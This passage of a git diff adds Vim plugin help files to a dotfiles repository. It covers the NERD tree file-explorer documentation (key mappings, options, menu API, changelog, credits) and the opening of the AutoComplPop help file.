depending on +|'NERDTreeHijackNetrw'|. + +------------------------------------------------------------------------------ + *NERDTree-D* +Default key: D +Map option: NERDTreeMapDeleteBookmark +Applies to: lines in the bookmarks table + +Deletes the currently selected bookmark. + +------------------------------------------------------------------------------ + *NERDTree-P* +Default key: P +Map option: NERDTreeMapJumpRoot +Applies to: no restrictions. + +Jump to the tree root. + +------------------------------------------------------------------------------ + *NERDTree-p* +Default key: p +Map option: NERDTreeMapJumpParent +Applies to: files and directories. + +Jump to the parent node of the selected node. + +------------------------------------------------------------------------------ + *NERDTree-K* +Default key: K +Map option: NERDTreeMapJumpFirstChild +Applies to: files and directories. + +Jump to the first child of the current nodes parent. + +If the cursor is already on the first node then do the following: + * loop back thru the siblings of the current nodes parent until we find an + open dir with children + * go to the first child of that node + +------------------------------------------------------------------------------ + *NERDTree-J* +Default key: J +Map option: NERDTreeMapJumpLastChild +Applies to: files and directories. + +Jump to the last child of the current nodes parent. + +If the cursor is already on the last node then do the following: + * loop forward thru the siblings of the current nodes parent until we find + an open dir with children + * go to the last child of that node + +------------------------------------------------------------------------------ + *NERDTree-C-J* +Default key: +Map option: NERDTreeMapJumpNextSibling +Applies to: files and directories. + +Jump to the next sibling of the selected node. + +------------------------------------------------------------------------------ + *NERDTree-C-K* +Default key: +Map option: NERDTreeMapJumpPrevSibling +Applies to: files and directories. + +Jump to the previous sibling of the selected node. + +------------------------------------------------------------------------------ + *NERDTree-C* +Default key: C +Map option: NERDTreeMapChdir +Applies to: directories. + +Make the selected directory node the new tree root. If a file is selected, its +parent is used. + +------------------------------------------------------------------------------ + *NERDTree-u* +Default key: u +Map option: NERDTreeMapUpdir +Applies to: no restrictions. + +Move the tree root up a dir (like doing a "cd .."). + +------------------------------------------------------------------------------ + *NERDTree-U* +Default key: U +Map option: NERDTreeMapUpdirKeepOpen +Applies to: no restrictions. + +Like |NERDTree-u| except that the old tree root is kept open. + +------------------------------------------------------------------------------ + *NERDTree-r* +Default key: r +Map option: NERDTreeMapRefresh +Applies to: files and directories. + +If a dir is selected, recursively refresh that dir, i.e. scan the filesystem +for changes and represent them in the tree. + +If a file node is selected then the above is done on it's parent. + +------------------------------------------------------------------------------ + *NERDTree-R* +Default key: R +Map option: NERDTreeMapRefreshRoot +Applies to: no restrictions. + +Recursively refresh the tree root. + +------------------------------------------------------------------------------ + *NERDTree-m* +Default key: m +Map option: NERDTreeMapMenu +Applies to: files and directories. + +Display the NERD tree menu. See |NERDTreeMenu| for details. + +------------------------------------------------------------------------------ + *NERDTree-cd* +Default key: cd +Map option: NERDTreeMapChdir +Applies to: files and directories. + +Change vims current working directory to that of the selected node. + +------------------------------------------------------------------------------ + *NERDTree-I* +Default key: I +Map option: NERDTreeMapToggleHidden +Applies to: no restrictions. + +Toggles whether hidden files (i.e. "dot files") are displayed. + +------------------------------------------------------------------------------ + *NERDTree-f* +Default key: f +Map option: NERDTreeMapToggleFilters +Applies to: no restrictions. + +Toggles whether file filters are used. See |'NERDTreeIgnore'| for details. + +------------------------------------------------------------------------------ + *NERDTree-F* +Default key: F +Map option: NERDTreeMapToggleFiles +Applies to: no restrictions. + +Toggles whether file nodes are displayed. + +------------------------------------------------------------------------------ + *NERDTree-B* +Default key: B +Map option: NERDTreeMapToggleBookmarks +Applies to: no restrictions. + +Toggles whether the bookmarks table is displayed. + +------------------------------------------------------------------------------ + *NERDTree-q* +Default key: q +Map option: NERDTreeMapQuit +Applies to: no restrictions. + +Closes the NERDtree window. + +------------------------------------------------------------------------------ + *NERDTree-A* +Default key: A +Map option: NERDTreeMapToggleZoom +Applies to: no restrictions. + +Maximize (zoom) and minimize the NERDtree window. + +------------------------------------------------------------------------------ + *NERDTree-?* +Default key: ? +Map option: NERDTreeMapHelp +Applies to: no restrictions. + +Toggles whether the quickhelp is displayed. + +------------------------------------------------------------------------------ +2.3. The NERD tree menu *NERDTreeMenu* + +The NERD tree has a menu that can be programmed via the an API (see +|NERDTreeMenuAPI|). The idea is to simulate the "right click" menus that most +file explorers have. + +The script comes with two default menu plugins: exec_menuitem.vim and +fs_menu.vim. fs_menu.vim adds some basic filesystem operations to the menu for +creating/deleting/moving/copying files and dirs. exec_menuitem.vim provides a +menu item to execute executable files. + +Related tags: |NERDTree-m| |NERDTreeApi| + +============================================================================== +3. Customisation *NERDTreeOptions* + + +------------------------------------------------------------------------------ +3.1. Customisation summary *NERDTreeOptionSummary* + +The script provides the following options that can customise the behaviour the +NERD tree. These options should be set in your vimrc. + +|'loaded_nerd_tree'| Turns off the script. + +|'NERDChristmasTree'| Tells the NERD tree to make itself colourful + and pretty. + +|'NERDTreeAutoCenter'| Controls whether the NERD tree window centers + when the cursor moves within a specified + distance to the top/bottom of the window. +|'NERDTreeAutoCenterThreshold'| Controls the sensitivity of autocentering. + +|'NERDTreeCaseSensitiveSort'| Tells the NERD tree whether to be case + sensitive or not when sorting nodes. + +|'NERDTreeChDirMode'| Tells the NERD tree if/when it should change + vim's current working directory. + +|'NERDTreeHighlightCursorline'| Tell the NERD tree whether to highlight the + current cursor line. + +|'NERDTreeHijackNetrw'| Tell the NERD tree whether to replace the netrw + autocommands for exploring local directories. + +|'NERDTreeIgnore'| Tells the NERD tree which files to ignore. + +|'NERDTreeBookmarksFile'| Where the bookmarks are stored. + +|'NERDTreeMouseMode'| Tells the NERD tree how to handle mouse + clicks. + +|'NERDTreeQuitOnOpen'| Closes the tree window after opening a file. + +|'NERDTreeShowBookmarks'| Tells the NERD tree whether to display the + bookmarks table on startup. + +|'NERDTreeShowFiles'| Tells the NERD tree whether to display files + in the tree on startup. + +|'NERDTreeShowHidden'| Tells the NERD tree whether to display hidden + files on startup. + +|'NERDTreeShowLineNumbers'| Tells the NERD tree whether to display line + numbers in the tree window. + +|'NERDTreeSortOrder'| Tell the NERD tree how to sort the nodes in + the tree. + +|'NERDTreeStatusline'| Set a statusline for NERD tree windows. + +|'NERDTreeWinPos'| Tells the script where to put the NERD tree + window. + +|'NERDTreeWinSize'| Sets the window size when the NERD tree is + opened. + +|'NERDTreeMinimalUI'| Disables display of the 'Bookmarks' label and + 'Press ? for help' text. + +|'NERDTreeDirArrows'| Tells the NERD tree to use arrows instead of + + ~ chars when displaying directories. + +------------------------------------------------------------------------------ +3.2. Customisation details *NERDTreeOptionDetails* + +To enable any of the below options you should put the given line in your +~/.vimrc + + *'loaded_nerd_tree'* +If this plugin is making you feel homicidal, it may be a good idea to turn it +off with this line in your vimrc: > + let loaded_nerd_tree=1 +< +------------------------------------------------------------------------------ + *'NERDChristmasTree'* +Values: 0 or 1. +Default: 1. + +If this option is set to 1 then some extra syntax highlighting elements are +added to the nerd tree to make it more colourful. + +Set it to 0 for a more vanilla looking tree. + +------------------------------------------------------------------------------ + *'NERDTreeAutoCenter'* +Values: 0 or 1. +Default: 1 + +If set to 1, the NERD tree window will center around the cursor if it moves to +within |'NERDTreeAutoCenterThreshold'| lines of the top/bottom of the window. + +This is ONLY done in response to tree navigation mappings, +i.e. |NERDTree-J| |NERDTree-K| |NERDTree-C-J| |NERDTree-C-K| |NERDTree-p| +|NERDTree-P| + +The centering is done with a |zz| operation. + +------------------------------------------------------------------------------ + *'NERDTreeAutoCenterThreshold'* +Values: Any natural number. +Default: 3 + +This option controls the "sensitivity" of the NERD tree auto centering. See +|'NERDTreeAutoCenter'| for details. + +------------------------------------------------------------------------------ + *'NERDTreeCaseSensitiveSort'* +Values: 0 or 1. +Default: 0. + +By default the NERD tree does not sort nodes case sensitively, i.e. nodes +could appear like this: > + bar.c + Baz.c + blarg.c + boner.c + Foo.c +< +But, if you set this option to 1 then the case of the nodes will be taken into +account. The above nodes would then be sorted like this: > + Baz.c + Foo.c + bar.c + blarg.c + boner.c +< +------------------------------------------------------------------------------ + *'NERDTreeChDirMode'* + +Values: 0, 1 or 2. +Default: 0. + +Use this option to tell the script when (if at all) to change the current +working directory (CWD) for vim. + +If it is set to 0 then the CWD is never changed by the NERD tree. + +If set to 1 then the CWD is changed when the NERD tree is first loaded to the +directory it is initialized in. For example, if you start the NERD tree with > + :NERDTree /home/marty/foobar +< +then the CWD will be changed to /home/marty/foobar and will not be changed +again unless you init another NERD tree with a similar command. + +If the option is set to 2 then it behaves the same as if set to 1 except that +the CWD is changed whenever the tree root is changed. For example, if the CWD +is /home/marty/foobar and you make the node for /home/marty/foobar/baz the new +root then the CWD will become /home/marty/foobar/baz. + +------------------------------------------------------------------------------ + *'NERDTreeHighlightCursorline'* +Values: 0 or 1. +Default: 1. + +If set to 1, the current cursor line in the NERD tree buffer will be +highlighted. This is done using the |'cursorline'| option. + +------------------------------------------------------------------------------ + *'NERDTreeHijackNetrw'* +Values: 0 or 1. +Default: 1. + +If set to 1, doing a > + :edit +< +will open up a "secondary" NERD tree instead of a netrw in the target window. + +Secondary NERD trees behaves slighly different from a regular trees in the +following respects: + 1. 'o' will open the selected file in the same window as the tree, + replacing it. + 2. you can have as many secondary tree as you want in the same tab. + +------------------------------------------------------------------------------ + *'NERDTreeIgnore'* +Values: a list of regular expressions. +Default: ['\~$']. + +This option is used to specify which files the NERD tree should ignore. It +must be a list of regular expressions. When the NERD tree is rendered, any +files/dirs that match any of the regex's in 'NERDTreeIgnore' wont be +displayed. + +For example if you put the following line in your vimrc: > + let NERDTreeIgnore=['\.vim$', '\~$'] +< +then all files ending in .vim or ~ will be ignored. + +Note: to tell the NERD tree not to ignore any files you must use the following +line: > + let NERDTreeIgnore=[] +< + +The file filters can be turned on and off dynamically with the |NERDTree-f| +mapping. + +------------------------------------------------------------------------------ + *'NERDTreeBookmarksFile'* +Values: a path +Default: $HOME/.NERDTreeBookmarks + +This is where bookmarks are saved. See |NERDTreeBookmarkCommands|. + +------------------------------------------------------------------------------ + *'NERDTreeMouseMode'* +Values: 1, 2 or 3. +Default: 1. + +If set to 1 then a double click on a node is required to open it. +If set to 2 then a single click will open directory nodes, while a double +click will still be required for file nodes. +If set to 3 then a single click will open any node. + +Note: a double click anywhere on a line that a tree node is on will +activate it, but all single-click activations must be done on name of the node +itself. For example, if you have the following node: > + | | |-application.rb +< +then (to single click activate it) you must click somewhere in +'application.rb'. + +------------------------------------------------------------------------------ + *'NERDTreeQuitOnOpen'* + +Values: 0 or 1. +Default: 0 + +If set to 1, the NERD tree window will close after opening a file with the +|NERDTree-o|, |NERDTree-i|, |NERDTree-t| and |NERDTree-T| mappings. + +------------------------------------------------------------------------------ + *'NERDTreeShowBookmarks'* +Values: 0 or 1. +Default: 0. + +If this option is set to 1 then the bookmarks table will be displayed. + +This option can be toggled dynamically, per tree, with the |NERDTree-B| +mapping. + +------------------------------------------------------------------------------ + *'NERDTreeShowFiles'* +Values: 0 or 1. +Default: 1. + +If this option is set to 1 then files are displayed in the NERD tree. If it is +set to 0 then only directories are displayed. + +This option can be toggled dynamically, per tree, with the |NERDTree-F| +mapping and is useful for drastically shrinking the tree when you are +navigating to a different part of the tree. + +------------------------------------------------------------------------------ + *'NERDTreeShowHidden'* +Values: 0 or 1. +Default: 0. + +This option tells vim whether to display hidden files by default. This option +can be dynamically toggled, per tree, with the |NERDTree-I| mapping. Use one +of the follow lines to set this option: > + let NERDTreeShowHidden=0 + let NERDTreeShowHidden=1 +< + +------------------------------------------------------------------------------ + *'NERDTreeShowLineNumbers'* +Values: 0 or 1. +Default: 0. + +This option tells vim whether to display line numbers for the NERD tree +window. Use one of the follow lines to set this option: > + let NERDTreeShowLineNumbers=0 + let NERDTreeShowLineNumbers=1 +< + +------------------------------------------------------------------------------ + *'NERDTreeSortOrder'* +Values: a list of regular expressions. +Default: ['\/$', '*', '\.swp$', '\.bak$', '\~$'] + +This option is set to a list of regular expressions which are used to +specify the order of nodes under their parent. + +For example, if the option is set to: > + ['\.vim$', '\.c$', '\.h$', '*', 'foobar'] +< +then all .vim files will be placed at the top, followed by all .c files then +all .h files. All files containing the string 'foobar' will be placed at the +end. The star is a special flag: it tells the script that every node that +doesnt match any of the other regexps should be placed here. + +If no star is present in 'NERDTreeSortOrder' then one is automatically +appended to the array. + +The regex '\/$' should be used to match directory nodes. + +After this sorting is done, the files in each group are sorted alphabetically. + +Other examples: > + (1) ['*', '\/$'] + (2) [] + (3) ['\/$', '\.rb$', '\.php$', '*', '\.swp$', '\.bak$', '\~$'] +< +1. Directories will appear last, everything else will appear above. +2. Everything will simply appear in alphabetical order. +3. Dirs will appear first, then ruby and php. Swap files, bak files and vim + backup files will appear last with everything else preceding them. + +------------------------------------------------------------------------------ + *'NERDTreeStatusline'* +Values: Any valid statusline setting. +Default: %{b:NERDTreeRoot.path.strForOS(0)} + +Tells the script what to use as the |'statusline'| setting for NERD tree +windows. + +Note that the statusline is set using |:let-&| not |:set| so escaping spaces +isn't necessary. + +Setting this option to -1 will will deactivate it so that your global +statusline setting is used instead. + +------------------------------------------------------------------------------ + *'NERDTreeWinPos'* +Values: "left" or "right" +Default: "left". + +This option is used to determine where NERD tree window is placed on the +screen. + +This option makes it possible to use two different explorer plugins +simultaneously. For example, you could have the taglist plugin on the left of +the window and the NERD tree on the right. + +------------------------------------------------------------------------------ + *'NERDTreeWinSize'* +Values: a positive integer. +Default: 31. + +This option is used to change the size of the NERD tree when it is loaded. + +------------------------------------------------------------------------------ + *'NERDTreeMinimalUI'* +Values: 0 or 1 +Default: 0 + +This options disables the 'Bookmarks' label 'Press ? for help' text. Use one +of the following lines to set this option: > + let NERDTreeMinimalUI=0 + let NERDTreeMinimalUI=1 +< + +------------------------------------------------------------------------------ + *'NERDTreeDirArrows'* +Values: 0 or 1 +Default: 0. + +This option is used to change the default look of directory nodes displayed in +the tree. When set to 0 it shows old-school bars (|), + and ~ chars. If set to +1 it shows right and down arrows. Use one of the follow lines to set this +option: > + let NERDTreeDirArrows=0 + let NERDTreeDirArrows=1 +< + +============================================================================== +4. The NERD tree API *NERDTreeAPI* + +The NERD tree script allows you to add custom key mappings and menu items via +a set of API calls. Any scripts that use this API should be placed in +~/.vim/nerdtree_plugin/ (*nix) or ~/vimfiles/nerdtree_plugin (windows). + +The script exposes some prototype objects that can be used to manipulate the +tree and/or get information from it: > + g:NERDTreePath + g:NERDTreeDirNode + g:NERDTreeFileNode + g:NERDTreeBookmark +< +See the code/comments in NERD_tree.vim to find how to use these objects. The +following code conventions are used: + * class members start with a capital letter + * instance members start with a lower case letter + * private members start with an underscore + +See this blog post for more details: + http://got-ravings.blogspot.com/2008/09/vim-pr0n-prototype-based-objects.html + +------------------------------------------------------------------------------ +4.1. Key map API *NERDTreeKeymapAPI* + +NERDTreeAddKeyMap({options}) *NERDTreeAddKeyMap()* + Adds a new keymapping for all NERD tree buffers. + {options} must be a dictionary, and must contain the following keys: + "key" - the trigger key for the new mapping + "callback" - the function the new mapping will be bound to + "quickhelpText" - the text that will appear in the quickhelp (see + |NERDTree-?|) + + Example: > + call NERDTreeAddKeyMap({ + \ 'key': 'b', + \ 'callback': 'NERDTreeEchoCurrentNode', + \ 'quickhelpText': 'echo full path of current node' }) + + function! NERDTreeEchoCurrentNode() + let n = g:NERDTreeFileNode.GetSelected() + if n != {} + echomsg 'Current node: ' . n.path.str() + endif + endfunction +< + This code should sit in a file like ~/.vim/nerdtree_plugin/mymapping.vim. + It adds a (rather useless) mapping on 'b' which echos the full path to the + current node. + +------------------------------------------------------------------------------ +4.2. Menu API *NERDTreeMenuAPI* + +NERDTreeAddSubmenu({options}) *NERDTreeAddSubmenu()* + Creates and returns a new submenu. + + {options} must be a dictionary and must contain the following keys: + "text" - the text of the submenu that the user will see + "shortcut" - a shortcut key for the submenu (need not be unique) + + The following keys are optional: + "isActiveCallback" - a function that will be called to determine whether + this submenu item will be displayed or not. The callback function must return + 0 or 1. + "parent" - the parent submenu of the new submenu (returned from a previous + invocation of NERDTreeAddSubmenu()). If this key is left out then the new + submenu will sit under the top level menu. + + See below for an example. + +NERDTreeAddMenuItem({options}) *NERDTreeAddMenuItem()* + Adds a new menu item to the NERD tree menu (see |NERDTreeMenu|). + + {options} must be a dictionary and must contain the + following keys: + "text" - the text of the menu item which the user will see + "shortcut" - a shortcut key for the menu item (need not be unique) + "callback" - the function that will be called when the user activates the + menu item. + + The following keys are optional: + "isActiveCallback" - a function that will be called to determine whether + this menu item will be displayed or not. The callback function must return + 0 or 1. + "parent" - if the menu item belongs under a submenu then this key must be + specified. This value for this key will be the object that + was returned when the submenu was created with |NERDTreeAddSubmenu()|. + + See below for an example. + +NERDTreeAddMenuSeparator([{options}]) *NERDTreeAddMenuSeparator()* + Adds a menu separator (a row of dashes). + + {options} is an optional dictionary that may contain the following keys: + "isActiveCallback" - see description in |NERDTreeAddMenuItem()|. + +Below is an example of the menu API in action. > + call NERDTreeAddMenuSeparator() + + call NERDTreeAddMenuItem({ + \ 'text': 'a (t)op level menu item', + \ 'shortcut': 't', + \ 'callback': 'SomeFunction' }) + + let submenu = NERDTreeAddSubmenu({ + \ 'text': 'a (s)ub menu', + \ 'shortcut': 's' }) + + call NERDTreeAddMenuItem({ + \ 'text': '(n)ested item 1', + \ 'shortcut': 'n', + \ 'callback': 'SomeFunction', + \ 'parent': submenu }) + + call NERDTreeAddMenuItem({ + \ 'text': '(n)ested item 2', + \ 'shortcut': 'n', + \ 'callback': 'SomeFunction', + \ 'parent': submenu }) +< +This will create the following menu: > + -------------------- + a (t)op level menu item + a (s)ub menu +< +Where selecting "a (s)ub menu" will lead to a second menu: > + (n)ested item 1 + (n)ested item 2 +< +When any of the 3 concrete menu items are selected the function "SomeFunction" +will be called. + +------------------------------------------------------------------------------ +NERDTreeRender() *NERDTreeRender()* + Re-renders the NERD tree buffer. Useful if you change the state of the + tree and you want to it to be reflected in the UI. + +============================================================================== +5. About *NERDTreeAbout* + +The author of the NERD tree is a terrible terrible monster called Martyzilla +who gobbles up small children with milk and sugar for breakfast. + +He can be reached at martin.grenfell at gmail dot com. He would love to hear +from you, so feel free to send him suggestions and/or comments about this +plugin. Don't be shy --- the worst he can do is slaughter you and stuff you in +the fridge for later ;) + +The latest stable versions can be found at + http://www.vim.org/scripts/script.php?script_id=1658 + +The latest dev versions are on github + http://github.com/scrooloose/nerdtree + + +============================================================================== +6. Changelog *NERDTreeChangelog* + +4.2.0 + - Add NERDTreeDirArrows option to make the UI use pretty arrow chars + instead of the old +~| chars to define the tree structure (sickill) + - shift the syntax highlighting out into its own syntax file (gnap) + - add some mac specific options to the filesystem menu - for macvim + only (andersonfreitas) + - Add NERDTreeMinimalUI option to remove some non functional parts of the + nerdtree ui (camthompson) + - tweak the behaviour of :NERDTreeFind - see :help :NERDTreeFind for the + new behaviour (benjamingeiger) + - if no name is given to :Bookmark, make it default to the name of the + target file/dir (minyoung) + - use 'file' completion when doing copying, create, and move + operations (EvanDotPro) + - lots of misc bug fixes (paddyoloughlin, sdewald, camthompson, Vitaly + Bogdanov, AndrewRadev, mathias, scottstvnsn, kml, wycats, me RAWR!) + +4.1.0 + features: + - NERDTreeFind to reveal the node for the current buffer in the tree, + see |NERDTreeFind|. This effectively merges the FindInNERDTree plugin (by + Doug McInnes) into the script. + - make NERDTreeQuitOnOpen apply to the t/T keymaps too. Thanks to Stefan + Ritter and Rémi Prévost. + - truncate the root node if wider than the tree window. Thanks to Victor + Gonzalez. + + bugfixes: + - really fix window state restoring + - fix some win32 path escaping issues. Thanks to Stephan Baumeister, Ricky, + jfilip1024, and Chris Chambers + +4.0.0 + - add a new programmable menu system (see :help NERDTreeMenu). + - add new APIs to add menus/menu-items to the menu system as well as + custom key mappings to the NERD tree buffer (see :help NERDTreeAPI). + - removed the old API functions + - added a mapping to maximize/restore the size of nerd tree window, thanks + to Guillaume Duranceau for the patch. See :help NERDTree-A for details. + + - fix a bug where secondary nerd trees (netrw hijacked trees) and + NERDTreeQuitOnOpen didnt play nicely, thanks to Curtis Harvey. + - fix a bug where the script ignored directories whose name ended in a dot, + thanks to Aggelos Orfanakos for the patch. + - fix a bug when using the x mapping on the tree root, thanks to Bryan + Venteicher for the patch. + - fix a bug where the cursor position/window size of the nerd tree buffer + wasnt being stored on closing the window, thanks to Richard Hart. + - fix a bug where NERDTreeMirror would mirror the wrong tree + +3.1.1 + - fix a bug where a non-listed no-name buffer was getting created every + time the tree windows was created, thanks to Derek Wyatt and owen1 + - make behave the same as the 'o' mapping + - some helptag fixes in the doc, thanks strull + - fix a bug when using :set nohidden and opening a file where the previous + buf was modified. Thanks iElectric + - other minor fixes + +3.1.0 + New features: + - add mappings to open files in a vsplit, see :help NERDTree-s and :help + NERDTree-gs + - make the statusline for the nerd tree window default to something + hopefully more useful. See :help 'NERDTreeStatusline' + Bugfixes: + - make the hijack netrw functionality work when vim is started with "vim + " (thanks to Alf Mikula for the patch). + - fix a bug where the CWD wasnt being changed for some operations even when + NERDTreeChDirMode==2 (thanks to Lucas S. Buchala) + - add -bar to all the nerd tree :commands so they can chain with other + :commands (thanks to tpope) + - fix bugs when ignorecase was set (thanks to nach) + - fix a bug with the relative path code (thanks to nach) + - fix a bug where doing a :cd would cause :NERDTreeToggle to fail (thanks nach) + + +3.0.1 + Bugfixes: + - fix bugs with :NERDTreeToggle and :NERDTreeMirror when 'hidden + was not set + - fix a bug where :NERDTree would fail if was relative and + didnt start with a ./ or ../ Thanks to James Kanze. + - make the q mapping work with secondary (:e style) trees, + thanks to jamessan + - fix a bunch of small bugs with secondary trees + + More insane refactoring. + +3.0.0 + - hijack netrw so that doing an :edit will put a NERD tree in + the window rather than a netrw browser. See :help 'NERDTreeHijackNetrw' + - allow sharing of trees across tabs, see :help :NERDTreeMirror + - remove "top" and "bottom" as valid settings for NERDTreeWinPos + - change the '' mapping to 'i' + - change the 'H' mapping to 'I' + - lots of refactoring + +============================================================================== +7. Credits *NERDTreeCredits* + +Thanks to the following people for testing, bug reports, ideas etc. Without +you I probably would have got bored of the hacking the NERD tree and +just downloaded pr0n instead. + + Tim Carey-Smith (halorgium) + Vigil + Nick Brettell + Thomas Scott Urban + Terrance Cohen + Yegappan Lakshmanan + Jason Mills + Michael Geddes (frogonwheels) + Yu Jun + Michael Madsen + AOYAMA Shotaro + Zhang Weiwu + Niels Aan de Brugh + Olivier Yiptong + Zhang Shuhan + Cory Echols + Piotr Czachur + Yuan Jiang + Matan Nassau + Maxim Kim + Charlton Wang + Matt Wozniski (godlygeek) + knekk + Sean Chou + Ryan Penn + Simon Peter Nicholls + Michael Foobar + Tomasz Chomiuk + Denis Pokataev + Tim Pope (tpope) + James Kanze + James Vega (jamessan) + Frederic Chanal (nach) + Alf Mikula + Lucas S. Buchala + Curtis Harvey + Guillaume Duranceau + Richard Hart (hates) + Doug McInnes + Stefan Ritter + Rémi Prévost + Victor Gonzalez + Stephan Baumeister + Ricky + jfilip1024 + Chris Chambers + Vitaly Bogdanov + Patrick O'Loughlin (paddyoloughlin) + Cam Thompson (camthompson) + Marcin Kulik (sickill) + Steve DeWald (sdewald) + Ivan Necas (iNecas) + George Ang (gnap) + Evan Coury (EvanDotPro) + Andrew Radev (AndrewRadev) + Matt Gauger (mathias) + Scott Stevenson (scottstvnsn) + Anderson Freitas (andersonfreitas) + Kamil K. Lemański (kml) + Yehuda Katz (wycats) + Min-Young Wu (minyoung) + Benjamin Geiger (benjamingeiger) + +============================================================================== +8. License *NERDTreeLicense* + +The NERD tree is released under the wtfpl. +See http://sam.zoy.org/wtfpl/COPYING. diff --git a/vim/.vim/doc/acp.txt b/vim/.vim/doc/acp.txt new file mode 100644 index 00000000..324c88b7 --- /dev/null +++ b/vim/.vim/doc/acp.txt @@ -0,0 +1,512 @@ +*acp.txt* Automatically opens popup menu for completions. + + Copyright (c) 2007-2009 Takeshi NISHIDA + +AutoComplPop *autocomplpop* *acp* + +INTRODUCTION |acp-introduction| +INSTALLATION |acp-installation| +USAGE |acp-usage| +COMMANDS |acp-commands| +OPTIONS |acp-options| +SPECIAL THANKS |acp-thanks| +CHANGELOG |acp-changelog| +ABOUT |acp-about| + + +============================================================================== +INTRODUCTION *acp-introduction* + +With this plugin, your vim comes to automatically opens popup menu for +completions when you enter characters or move the cursor in Insert mode. It +won't prevent you continuing entering characters. + + +============================================================================== +INSTALLATION *acp-installation* + +Put all files into your runtime directory. If you have the zip file, extract +it to your runtime directory. + +You should place the files as follows: +> + /plugin/acp.vim + /doc/acp.txt + ... +< +If you disgust to jumble up this plugin and other plugins in your runtime +directory, put the files into new directory and just add the directory path to +'runtimepath'. It's easy to uninstall the plugin. + +And then update your help tags files to enable fuzzyfinder help. See +|add-local-help| for details. + + +============================================================================== +USAGE *acp-usage* + +Once this plugin is installed, auto-popup is enabled at startup by default. + +Which completion method is used depends on the text before the cursor. The +default behavior is as follows: + + kind filetype text before the cursor ~ + Keyword * two keyword characters + Filename * a filename character + a path separator + + 0 or more filename character + Omni ruby ".", "::" or non-word character + ":" + (|+ruby| required.) + Omni python "." (|+python| required.) + Omni xml "<", "" characters + " ") + Omni html/xhtml "<", "" characters + " ") + Omni css (":", ";", "{", "^", "@", or "!") + + 0 or 1 space + +Also, you can make user-defined completion and snipMate's trigger completion +(|acp-snipMate|) auto-popup if the options are set. + +These behavior are customizable. + + *acp-snipMate* +snipMate's Trigger Completion ~ + +snipMate's trigger completion enables you to complete a snippet trigger +provided by snipMate plugin +(http://www.vim.org/scripts/script.php?script_id=2540) and expand it. + + +To enable auto-popup for this completion, add following function to +plugin/snipMate.vim: +> + fun! GetSnipsInCurrentScope() + let snips = {} + for scope in [bufnr('%')] + split(&ft, '\.') + ['_'] + call extend(snips, get(s:snippets, scope, {}), 'keep') + call extend(snips, get(s:multi_snips, scope, {}), 'keep') + endfor + return snips + endf +< +And set |g:acp_behaviorSnipmateLength| option to 1. + +There is the restriction on this auto-popup, that the word before cursor must +consist only of uppercase characters. + + *acp-perl-omni* +Perl Omni-Completion ~ + +AutoComplPop supports perl-completion.vim +(http://www.vim.org/scripts/script.php?script_id=2852). + +To enable auto-popup for this completion, set |g:acp_behaviorPerlOmniLength| +option to 0 or more. + + +============================================================================== +COMMANDS *acp-commands* + + *:AcpEnable* +:AcpEnable + enables auto-popup. + + *:AcpDisable* +:AcpDisable + disables auto-popup. + + *:AcpLock* +:AcpLock + suspends auto-popup temporarily. + + For the purpose of avoiding interruption to another script, it is + recommended to insert this command and |:AcpUnlock| than |:AcpDisable| + and |:AcpEnable| . + + *:AcpUnlock* +:AcpUnlock + resumes auto-popup suspended by |:AcpLock| . + + +============================================================================== +OPTIONS *acp-options* + + *g:acp_enableAtStartup* > + let g:acp_enableAtStartup = 1 +< + If non-zero, auto-popup is enabled at startup. + + *g:acp_mappingDriven* > + let g:acp_mappingDriven = 0 +< + If non-zero, auto-popup is triggered by key mappings instead of + |CursorMovedI| event. This is useful to avoid auto-popup by moving + cursor in Insert mode. + + *g:acp_ignorecaseOption* > + let g:acp_ignorecaseOption = 1 +< + Value set to 'ignorecase' temporarily when auto-popup. + + *g:acp_completeOption* > + let g:acp_completeOption = '.,w,b,k' +< + Value set to 'complete' temporarily when auto-popup. + + *g:acp_completeoptPreview* > + let g:acp_completeoptPreview = 0 +< + If non-zero, "preview" is added to 'completeopt' when auto-popup. + + *g:acp_behaviorUserDefinedFunction* > + let g:acp_behaviorUserDefinedFunction = '' +< + |g:acp_behavior-completefunc| for user-defined completion. If empty, + this completion will be never attempted. + + *g:acp_behaviorUserDefinedMeets* > + let g:acp_behaviorUserDefinedMeets = '' +< + |g:acp_behavior-meets| for user-defined completion. If empty, this + completion will be never attempted. + + *g:acp_behaviorSnipmateLength* > + let g:acp_behaviorSnipmateLength = -1 +< + Pattern before the cursor, which are needed to attempt + snipMate-trigger completion. + + *g:acp_behaviorKeywordCommand* > + let g:acp_behaviorKeywordCommand = "\" +< + Command for keyword completion. This option is usually set "\" or + "\". + + *g:acp_behaviorKeywordLength* > + let g:acp_behaviorKeywordLength = 2 +< + Length of keyword characters before the cursor, which are needed to + attempt keyword completion. If negative value, this completion will be + never attempted. + + *g:acp_behaviorKeywordIgnores* > + let g:acp_behaviorKeywordIgnores = [] +< + List of string. If a word before the cursor matches to the front part + of one of them, keyword completion won't be attempted. + + E.g., when there are too many keywords beginning with "get" for the + completion and auto-popup by entering "g", "ge", or "get" causes + response degradation, set ["get"] to this option and avoid it. + + *g:acp_behaviorFileLength* > + let g:acp_behaviorFileLength = 0 +< + Length of filename characters before the cursor, which are needed to + attempt filename completion. If negative value, this completion will + be never attempted. + + *g:acp_behaviorRubyOmniMethodLength* > + let g:acp_behaviorRubyOmniMethodLength = 0 +< + Length of keyword characters before the cursor, which are needed to + attempt ruby omni-completion for methods. If negative value, this + completion will be never attempted. + + *g:acp_behaviorRubyOmniSymbolLength* > + let g:acp_behaviorRubyOmniSymbolLength = 1 +< + Length of keyword characters before the cursor, which are needed to + attempt ruby omni-completion for symbols. If negative value, this + completion will be never attempted. + + *g:acp_behaviorPythonOmniLength* > + let g:acp_behaviorPythonOmniLength = 0 +< + Length of keyword characters before the cursor, which are needed to + attempt python omni-completion. If negative value, this completion + will be never attempted. + + *g:acp_behaviorPerlOmniLength* > + let g:acp_behaviorPerlOmniLength = -1 +< + Length of keyword characters before the cursor, which are needed to + attempt perl omni-completion. If negative value, this completion will + be never attempted. + + See also: |acp-perl-omni| + + *g:acp_behaviorXmlOmniLength* > + let g:acp_behaviorXmlOmniLength = 0 +< + Length of keyword characters before the cursor, which are needed to + attempt XML omni-completion. If negative value, this completion will + be never attempted. + + *g:acp_behaviorHtmlOmniLength* > + let g:acp_behaviorHtmlOmniLength = 0 +< + Length of keyword characters before the cursor, which are needed to + attempt HTML omni-completion. If negative value, this completion will + be never attempted. + + *g:acp_behaviorCssOmniPropertyLength* > + let g:acp_behaviorCssOmniPropertyLength = 1 +< + Length of keyword characters before the cursor, which are needed to + attempt CSS omni-completion for properties. If negative value, this + completion will be never 